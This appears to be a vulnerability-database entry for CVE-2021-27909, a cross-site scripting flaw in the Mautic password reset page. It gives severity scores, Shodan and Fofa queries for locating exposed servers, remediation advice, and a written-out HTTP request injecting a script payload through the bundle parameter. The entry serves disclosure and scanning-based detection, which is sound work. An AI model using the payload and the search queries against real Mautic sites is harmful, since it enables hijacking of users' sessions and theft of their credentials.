| Title | Mautic <3.3.4 - Cross-Site Scripting |
|---|---|
| Author | kiransau |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions. |
| Remediation | Upgrade Mautic to version 3.3.4 or later to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.18658 |
| CVE ID | CVE-2021-27909 |
| CWE ID | CWE-79 |
| Shodan Query | title:"Mautic"http.title:"mautic" |
| Fofa Query | title="mautic" |
| Tags | cve2021 cve mautic xss acquia vuln |
Mautic before 3.3.4 contains a cross-site scripting vulnerability on the password reset page in the bundle parameter of the URL. An attacker can inject arbitrary script, steal cookie-based authentication credentials, and/or launch other attacks.
GET /passwordreset?bundle=';alert(document.domain);var+ok=' HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-27909.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-27909.pcap
N/AN/A